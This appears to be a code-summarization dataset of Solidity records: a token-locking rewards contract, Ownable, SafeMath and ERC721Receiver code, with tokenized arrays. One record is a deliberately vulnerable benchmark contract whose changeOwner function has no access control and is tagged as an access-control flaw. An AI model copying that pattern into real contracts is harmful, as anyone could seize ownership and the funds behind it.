function rewardPerToken(address _rewardsToken)
external
view
returns (uint256)
{
return _rewardPerToken(_rewardsToken);
}
function getRewardForDuration(address _rewardsToken)
external
view
returns (uint256)
{
return
uint256(rewardData[_rewardsToken].rewardRate).mul(rewardsDuration);
}
// Address and claimable amount of all reward tokens for the given account
function claimableRewards(address _account)
external
view
returns (EarnedData[] memory userRewards)
{
userRewards = new EarnedData[](rewardTokens.length);
Balances storage userBalance = balances[_account];
uint256 boostedBal = userBalance.boosted;
for (uint256 i = 0; i < userRewards.length; i++) {
address token = rewardTokens[i];
userRewards[i].token = token;
userRewards[i].amount = _earned(
_account,
token,
rewardData[token].useBoost ? boostedBal : userBalance.locked
);
}
return userRewards;
}
// Total BOOSTED balance of an account, including unlocked but not withdrawn tokens
function rewardWeightOf(address _user)
external
view
returns (uint256 amount)
{
return balances[_user].boosted;
}
// total token balance of an account, including unlocked but not withdrawn tokens
function lockedBalanceOf(address _user)
external
view
returns (uint256 amount)
{
return balances[_user].locked;
}
//BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch
function balanceOf(address _user) external view returns (uint256 amount) {
LockedBalance[] storage locks = userLocks[_user];
Balances storage userBalance = balances[_user];
uint256 nextUnlockIndex = userBalance.nextUnlockIndex;
//start with current boosted amount
amount = balances[_user].boosted;
uint256 locksLength = locks.length;
//remove old records only (will be better gas-wise than adding up)
for (uint256 i = nextUnlockIndex; i < locksLength; i++) {
if (locks[i].unlockTime <= block.timestamp) {
amount = amount.sub(locks[i].boosted);
} else {
//stop now as no futher checks are needed
break;
}
}
//also remove amount locked in the next epoch
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(
rewardsDuration
);
if (
locksLength > 0 &&
uint256(locks[locksLength - 1].unlockTime).sub(lockDuration) >
currentEpoch
) {
amount = amount.sub(locks[locksLength - 1].boosted);
}
return amount;
}
//BOOSTED balance of an account which only includes properly locked tokens at the given epoch
function balanceAtEpochOf(uint256 _epoch, address _user)
external
view
returns (uint256 amount)
{
LockedBalance[] storage locks = userLocks[_user];
//get timestamp of given epoch index
uint256 epochTime = epochs[_epoch].date;
//get timestamp of first non-inclusive epoch
uint256 cutoffEpoch = epochTime.sub(lockDuration);
//need to add up since the range could be in the middle somewhere
//traverse inversely to make more current queries more gas efficient
for (uint256 i = locks.length - 1; i + 1 != 0; i--) {
uint256 lockEpoch = uint256(locks[i].unlockTime).sub(lockDuration);
//lock epoch must be less or equal to the epoch we're basing from.
if (lockEpoch <= epochTime) {
if (lockEpoch > cutoffEpoch) {
amount = amount.add(locks[i].boosted);
} else {
//stop now as no futher checks matter
break;
}
}
}
return amount;
}
//return currently locked but not active balance
function pendingLockOf(address _user)
external
view
returns (uint256 amount)
{
LockedBalance[] storage locks = userLocks[_user];
uint256 locksLength = locks.length;
//return amount if latest lock is in the future
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(
rewardsDuration
);
if (
locksLength > 0 &&
uint256(locks[locksLength - 1].unlockTime).sub(lockDuration) >
currentEpoch
) {
return locks[locksLength - 1].boosted;
}
return 0;
}
function pendingLockAtEpochOf(uint256 _epoch, address _user)
external
view
returns (uint256 amount)
{
LockedBalance[] storage locks = userLocks[_user];
//get next epoch from the given epoch index
uint256 nextEpoch = uint256(epochs[_epoch].date).add(rewardsDuration);
//traverse inversely to make more current queries more gas efficient
for (uint256 i = locks.length - 1; i + 1 != 0; i--) {
uint256 lockEpoch = uint256(locks[i].unlockTime).sub(lockDuration);
//return the next epoch balance
if (lockEpoch == nextEpoch) {
return locks[i].boosted;
} else if (lockEpoch < nextEpoch) {
//no need to check anymore
break;
}
}
return 0;
}
//supply of all properly locked BOOSTED balances at most recent eligible epoch
function totalSupply() external view returns (uint256 supply) {
uint256 currentEpoch = block.timestamp.div(rewardsDuration).mul(
rewardsDuration
);
uint256 cutoffEpoch = currentEpoch.sub(lockDuration);
uint256 epochindex = epochs.length;
//do not include next epoch's supply
if (uint256(epochs[epochindex - 1].date) > currentEpoch) {
epochindex--;
}
//traverse inversely to make more current queries more gas efficient
for (uint256 i = epochindex - 1; i + 1 != 0; i--) {
Epoch storage e = epochs[i];
if (uint256(e.date) <= cutoffEpoch) {
break;
}
supply = supply.add(e.supply);
}
return supply;
}
//supply of all properly locked BOOSTED balances at the given epoch
function totalSupplyAtEpoch(uint256 _epoch)
external
view
returns (uint256 supply)
{
uint256 epochStart = uint256(epochs[_epoch].date)
.div(rewardsDuration)
.mul(rewardsDuration);
uint256 cutoffEpoch = epochStart.sub(lockDuration);
//traverse inversely to make more current queries more gas efficient
for (uint256 i = _epoch; i + 1 != 0; i--) {
Epoch storage e = epochs[i];
if (uint256(e.date) <= cutoffEpoch) {
break;
}
supply = supply.add(epochs[i].supply);
}
return supply;
}
//find an epoch index based on timestamp
function findEpochId(uint256 _time) external view returns (uint256 epoch) {
uint256 max = epochs.length - 1;
uint256 min = 0;
//convert to start point
_time = _time.div(rewardsDuration).mul(rewardsDuration);
for (uint256 i = 0; i < 128; i++) {
if (min >= max) break;
uint256 mid = (min + max + 1) / 2;
uint256 midEpochBlock = epochs[mid].date;
if (midEpochBlock == _time) {
//found
return mid;
} else if (midEpochBlock < _time) {
min = mid;
} else {
max = mid - 1;
}
}
return min;
}
// Information on a user's locked balances
function lockedBalances(address _user)
external
view
returns (
uint256 total,
uint256 unlockable,
uint256 locked,
LockedBalance[] memory lockData
)
{
LockedBalance[] storage locks = userLocks[_user];
Balances storage userBalance = balances[_user];
uint256 nextUnlockIndex = userBalance.nextUnlockIndex;
uint256 idx;
for (uint256 i = nextUnlockIndex; i < locks.length; i++) {
if (locks[i].unlockTime > block.timestamp) {
if (idx == 0) {
lockData = new LockedBalance[](locks.length - i);
}
lockData[idx] = locks[i];
idx++;
locked = locked.add(locks[i].amount);
} else {
unlockable = unlockable.add(locks[i].amount);
}
}
return (userBalance.locked, unlockable, locked, lockData);
}
//number of epochs
function epochCount() external view returns (uint256) {
return epochs.length;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function checkpointEpoch() external {
_checkpointEpoch();
}
//insert a new epoch if needed. fill in any gaps
function _checkpointEpoch() internal {
//create new epoch in the future where new non-active locks will lock to
uint256 nextEpoch = block
.timestamp
.div(rewardsDuration)
.mul(rewardsDuration)
.add(rewardsDuration);
uint256 epochindex = epochs.length;
//first epoch add in constructor, no need to check 0 length
//check to add
if (epochs[epochindex - 1].date < nextEpoch) {
//fill any epoch gaps
while (epochs[epochs.length - 1].date != nextEpoch) {
uint256 nextEpochDate = uint256(epochs[epochs.length - 1].date)
.add(rewardsDuration);
epochs.push(Epoch({supply: 0, date: uint32(nextEpochDate)}));
}
//update boost parameters on a new epoch
if (boostRate != nextBoostRate) {
boostRate = nextBoostRate;
}
if (maximumBoostPayment != nextMaximumBoostPayment) {
maximumBoostPayment = nextMaximumBoostPayment;
}
}
}
// Locked tokens cannot be withdrawn for lockDuration and are eligible to receive stakingReward rewards
function lock(
address _account,
uint256 _amount,
uint256 _spendRatio
) external nonReentrant gacPausable updateReward(_account) {
//pull tokens
stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
//lock
_lock(_account, _amount, _spendRatio, false);
}
//lock tokens
function _lock(
address _account,
uint256 _amount,
uint256 _spendRatio,
bool _isRelock
) internal {
require(_amount > 0, "Cannot stake 0");
require(_spendRatio <= maximumBoostPayment, "over max spend");
require(!isShutdown, "shutdown");
Balances storage bal = balances[_account];
//must try check pointing epoch first
_checkpointEpoch();
//calc lock and boosted amount
uint256 spendAmount = _amount.mul(_spendRatio).div(denominator);
uint256 boostRatio = boostRate.mul(_spendRatio).div(
maximumBoostPayment == 0 ? 1 : maximumBoostPayment
);
uint112 lockAmount = _amount.sub(spendAmount).to112();
uint112 boostedAmount = _amount
.add(_amount.mul(boostRatio).div(denominator))
.to112();
//add user balances
bal.locked = bal.locked.add(lockAmount);
bal.boosted = bal.boosted.add(boostedAmount);
//add to total supplies
lockedSupply = lockedSupply.add(lockAmount);
boostedSupply = boostedSupply.add(boostedAmount);
//add user lock records or add to current
uint256 lockEpoch = block.timestamp.div(rewardsDuration).mul(
rewardsDuration
);
//if a fresh lock, add on an extra duration period
if (!_isRelock) {
lockEpoch = lockEpoch.add(rewardsDuration);
}
uint256 unlockTime = lockEpoch.add(lockDuration);
uint256 idx = userLocks[_account].length;
//if the latest user lock is smaller than this lock, always just add new entry to the end of the list
if (idx == 0 || userLocks[_account][idx - 1].unlockTime < unlockTime) {
userLocks[_account].push(
LockedBalance({
amount: lockAmount,
boosted: boostedAmount,
unlockTime: uint32(unlockTime)
})
);
} else {
//else add to a current lock
//if latest lock is further in the future, lower index
//this can only happen if relocking an expired lock after creating a new lock
if (userLocks[_account][idx - 1].unlockTime > unlockTime) {
idx--;
}
//if idx points to the epoch when same unlock time, update
//(this is always true with a normal lock but maybe not with relock)
if (userLocks[_account][idx - 1].unlockTime == unlockTime) {
LockedBalance storage userL = userLocks[_account][idx - 1];
userL.amount = userL.amount.add(lockAmount);
userL.boosted = userL.boosted.add(boostedAmount);
} else {
//can only enter here if a relock is made after a lock and there's no lock entry
//for the current epoch.
//ex a list of locks such as "[...][older][current*][next]" but without a "current" lock
//length - 1 is the next epoch
//length - 2 is a past epoch
//thus need to insert an entry for current epoch at the 2nd to last entry
//we will copy and insert the tail entry(next) and then overwrite length-2 entry
//reset idx
idx = userLocks[_account].length;
//get current last item
LockedBalance storage userL = userLocks[_account][idx - 1];
//add a copy to end of list
userLocks[_account].push(
LockedBalance({
amount: userL.amount,
boosted: userL.boosted,
unlockTime: userL.unlockTime
})
);
//insert current epoch lock entry by overwriting the entry at length-2
userL.amount = lockAmount;
userL.boosted = boostedAmount;
userL.unlockTime = uint32(unlockTime);
}
}
//update epoch supply, epoch checkpointed above so safe to add to latest
uint256 eIndex = epochs.length - 1;
//if relock, epoch should be current and not next, thus need to decrease index to length-2
if (_isRelock) {
eIndex--;
}
Epoch storage e = epochs[eIndex];
e.supply = e.supply.add(uint224(boostedAmount));
//send boost payment
if (spendAmount > 0) {
stakingToken.safeTransfer(boostPayment, spendAmount);
}
emit Staked(_account, lockEpoch, _amount, lockAmount, boostedAmount);
}
// Withdraw all currently locked tokens where the unlock time has passed
function _processExpiredLocks(
address _account,
bool _relock,
uint256 _spendRatio,
address _withdrawTo,
address _rewardAddress,
uint256 _checkDelay
) internal updateReward(_account) {
LockedBalance[] storage locks = userLocks[_account];
Balances storage userBalance = balances[_account];
uint112 locked;
uint112 boostedAmount;
uint256 length = locks.length;
uint256 reward = 0;
if (
isShutdown ||
locks[length - 1].unlockTime <= block.timestamp.sub(_checkDelay)
) {
//if time is beyond last lock, can just bundle everything together
locked = userBalance.locked;
boostedAmount = userBalance.boosted;
//dont delete, just set next index
userBalance.nextUnlockIndex = length.to32();
//check for kick reward
//this wont have the exact reward rate that you would get if looped through
//but this section is supposed to be for quick and easy low gas processing of all locks
//we'll assume that if the reward was good enough someone would have processed at an earlier epoch
if (_checkDelay > 0) {
uint256 currentEpoch = block
.timestamp
.sub(_checkDelay)
.div(rewardsDuration)
.mul(rewardsDuration);
uint256 epochsover = currentEpoch
.sub(uint256(locks[length - 1].unlockTime))
.div(rewardsDuration);
uint256 rRate = MathUtil.min(
kickRewardPerEpoch.mul(epochsover + 1),
denominator
);
reward = uint256(locks[length - 1].amount).mul(rRate).div(
denominator
);
}
} else {
//use a processed index(nextUnlockIndex) to not loop as much
//deleting does not change array length
uint32 nextUnlockIndex = userBalance.nextUnlockIndex;
for (uint256 i = nextUnlockIndex; i < length; i++) {
//unlock time must be less or equal to time
if (locks[i].unlockTime > block.timestamp.sub(_checkDelay))
break;
//add to cumulative amounts
locked = locked.add(locks[i].amount);
boostedAmount = boostedAmount.add(locks[i].boosted);
//check for kick reward
//each epoch over due increases reward
if (_checkDelay > 0) {
uint256 currentEpoch = block
.timestamp
.sub(_checkDelay)
.div(rewardsDuration)
.mul(rewardsDuration);
uint256 epochsover = currentEpoch
.sub(uint256(locks[i].unlockTime))
.div(rewardsDuration);
uint256 rRate = MathUtil.min(
kickRewardPerEpoch.mul(epochsover + 1),
denominator
);
reward = reward.add(
uint256(locks[i].amount).mul(rRate).div(denominator)
);
}
//set next unlock index
nextUnlockIndex++;
}
//update next unlock index
userBalance.nextUnlockIndex = nextUnlockIndex;
}
require(locked > 0, "no exp locks");
//update user balances and total supplies
userBalance.locked = userBalance.locked.sub(locked);
userBalance.boosted = userBalance.boosted.sub(boostedAmount);
lockedSupply = lockedSupply.sub(locked);
boostedSupply = boostedSupply.sub(boostedAmount);
emit Withdrawn(_account, locked, _relock);
//send process incentive
if (reward > 0) {
//if theres a reward(kicked), it will always be a withdraw only
//preallocate enough cvx from stake contract to pay for both reward and withdraw
allocateCVXForTransfer(uint256(locked));
//reduce return amount by the kick reward
locked = locked.sub(reward.to112());
//transfer reward
transferCVX(_rewardAddress, reward, false);
emit KickReward(_rewardAddress, _account, reward);
} else if (_spendRatio > 0) {
//preallocate enough cvx to transfer the boost cost
allocateCVXForTransfer(
uint256(locked).mul(_spendRatio).div(denominator)
);
}
//relock or return to user
if (_relock) {
_lock(_withdrawTo, locked, _spendRatio, true);
} else {
transferCVX(_withdrawTo, locked, true);
}
}
// withdraw expired locks to a different address
function withdrawExpiredLocksTo(address _withdrawTo) external nonReentrant gacPausable {
_processExpiredLocks(msg.sender, false, 0, _withdrawTo, msg.sender, 0);
}
// Withdraw/relock all currently locked tokens where the unlock time has passed
function processExpiredLocks(bool _relock) external nonReentrant gacPausable {
_processExpiredLocks(msg.sender, _relock, 0, msg.sender, msg.sender, 0);
}
function kickExpiredLocks(address _account) external nonReentrant gacPausable {
//allow kick after grace period of 'kickRewardEpochDelay'
_processExpiredLocks(
_account,
false,
0,
_account,
msg.sender,
rewardsDuration.mul(kickRewardEpochDelay)
);
}
//pull required amount of cvx from staking for an upcoming transfer
// dev: no-op
function allocateCVXForTransfer(uint256 _amount) internal {
uint256 balance = stakingToken.balanceOf(address(this));
}
//transfer helper: pull enough from staking, transfer, updating staking ratio
function transferCVX(
address _account,
uint256 _amount,
bool _updateStake
) internal {
//allocate enough cvx from staking for the transfer
allocateCVXForTransfer(_amount);
//transfer
stakingToken.safeTransfer(_account, _amount);
}
//calculate how much cvx should be staked. update if needed
function updateStakeRatio(uint256 _offset) internal {
if (isShutdown) return;
//get balances
uint256 local = stakingToken.balanceOf(address(this));
uint256 staked = IStakingProxy(stakingProxy).getBalance();
uint256 total = local.add(staked);
if (total == 0) return;
//current staked ratio
uint256 ratio = staked.mul(denominator).div(total);
//mean will be where we reset to if unbalanced
uint256 mean = maximumStake.add(minimumStake).div(2);
uint256 max = maximumStake.add(_offset);
uint256 min = MathUpgradeable.min(minimumStake, minimumStake - _offset);
if (ratio > max) {
//remove
uint256 remove = staked.sub(total.mul(mean).div(denominator));
IStakingProxy(stakingProxy).withdraw(remove);
} else if (ratio < min) {
//add
uint256 increase = total.mul(mean).div(denominator).sub(staked);
stakingToken.safeTransfer(stakingProxy, increase);
IStakingProxy(stakingProxy).stake();
}
}
// Claim all pending rewards
function getReward(address _account, bool _stake)
public
nonReentrant
gacPausable
updateReward(_account)
{
for (uint256 i; i < rewardTokens.length; i++) {
address _rewardsToken = rewardTokens[i];
uint256 reward = rewards[_account][_rewardsToken];
if (reward > 0) {
rewards[_account][_rewardsToken] = 0;
IERC20Upgradeable(_rewardsToken).safeTransfer(_account, reward);
emit RewardPaid(_account, _rewardsToken, reward);
}
}
}
// claim all pending rewards
function getReward(address _account) external {
getReward(_account, false);
}
/* ========== RESTRICTED FUNCTIONS ========== */
function _notifyReward(address _rewardsToken, uint256 _reward) internal {
Reward storage rdata = rewardData[_rewardsToken];
if (block.timestamp >= rdata.periodFinish) {
rdata.rewardRate = _reward.div(rewardsDuration).to208();
} else {
uint256 remaining = uint256(rdata.periodFinish).sub(
block.timestamp
);
uint256 leftover = remaining.mul(rdata.rewardRate);
rdata.rewardRate = _reward
.add(leftover)
.div(rewardsDuration)
.to208();
}
rdata.lastUpdateTime = block.timestamp.to40();
rdata.periodFinish = block.timestamp.add(rewardsDuration).to40();
}
function notifyRewardAmount(address _rewardsToken, uint256 _reward)
external
gacPausable
updateReward(address(0))
{
require(rewardDistributors[_rewardsToken][msg.sender]);
require(_reward > 0, "No reward");
_notifyReward(_rewardsToken, _reward);
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the _reward amount
IERC20Upgradeable(_rewardsToken).safeTransferFrom(
msg.sender,
address(this),
_reward
);
emit RewardAdded(_rewardsToken, _reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address _tokenAddress, uint256 _tokenAmount)
external
onlyOwner
gacPausable
{
require(
_tokenAddress != address(stakingToken),
"Cannot withdraw staking token"
);
require(
rewardData[_tokenAddress].lastUpdateTime == 0,
"Cannot withdraw reward token"
);
IERC20Upgradeable(_tokenAddress).safeTransfer(owner(), _tokenAmount);
emit Recovered(_tokenAddress, _tokenAmount);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address _account) {
{
//stack too deep
Balances storage userBalance = balances[_account];
uint256 boostedBal = userBalance.boosted;
for (uint256 i = 0; i < rewardTokens.length; i++) {
address token = rewardTokens[i];
rewardData[token].rewardPerTokenStored = _rewardPerToken(token)
.to208();
rewardData[token].lastUpdateTime = _lastTimeRewardApplicable(
rewardData[token].periodFinish
).to40();
if (_account != address(0)) {
//check if reward is boostable or not. use boosted or locked balance accordingly
rewards[_account][token] = _earned(
_account,
token,
rewardData[token].useBoost
? boostedBal
: userBalance.locked
);
userRewardPerTokenPaid[_account][token] = rewardData[token]
.rewardPerTokenStored;
}
}
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(address indexed _token, uint256 _reward);
event Staked(
address indexed _user,
uint256 indexed _epoch,
uint256 _paidAmount,
uint256 _lockedAmount,
uint256 _boostedAmount
);
event Withdrawn(address indexed _user, uint256 _amount, bool _relocked);
event KickReward(
address indexed _user,
address indexed _kicked,
uint256 _reward
);
event RewardPaid(
address indexed _user,
address indexed _rewardsToken,
uint256 _reward
);
event Recovered(address _token, uint256 _amount);
} | claim all pending rewards | function getReward(address _account) external {
getReward(_account, false);
}
| 1,374,772 | [
1,
14784,
777,
4634,
283,
6397,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4170,
359,
1060,
12,
2867,
389,
4631,
13,
3903,
288,
203,
3639,
4170,
359,
1060,
24899,
4631,
16,
629,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
* @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/unprotected_function/Unprotected.sol
* @author: -
* @vulnerable_at_lines: 25
*/
pragma solidity ^0.4.15;
contract Unprotected{
address private owner;
modifier onlyowner {
require(msg.sender==owner);
_;
}
// function Unprotected() public
constructor () // TRUNG: updated to Solidity 0.8.11
{
owner = msg.sender;
}
// This function should be protected
// <yes> <report> ACCESS_CONTROL
function changeOwner(address _newOwner)
public
{
owner = _newOwner;
}
/*
function changeOwner_fixed(address _newOwner)
public
onlyowner
{
owner = _newOwner;
}
*/
}
| function Unprotected() public | {
owner = msg.sender;
}
| 15,834,055 | [
1,
915,
1351,
1117,
1435,
1071,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
377,
288,
203,
540,
3410,
273,
1234,
18,
15330,
31,
203,
377,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : [email protected]
// released under Apache 2.0 licence
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract ERC721Receiver {
/**
* @dev Magic value to be returned upon successful reception of an NFT
* Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`,
* which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
*/
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safetransfer`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the contract address is always the message sender.
* @param _operator The address which called `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _tokenId The NFT identifier which is being transfered
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
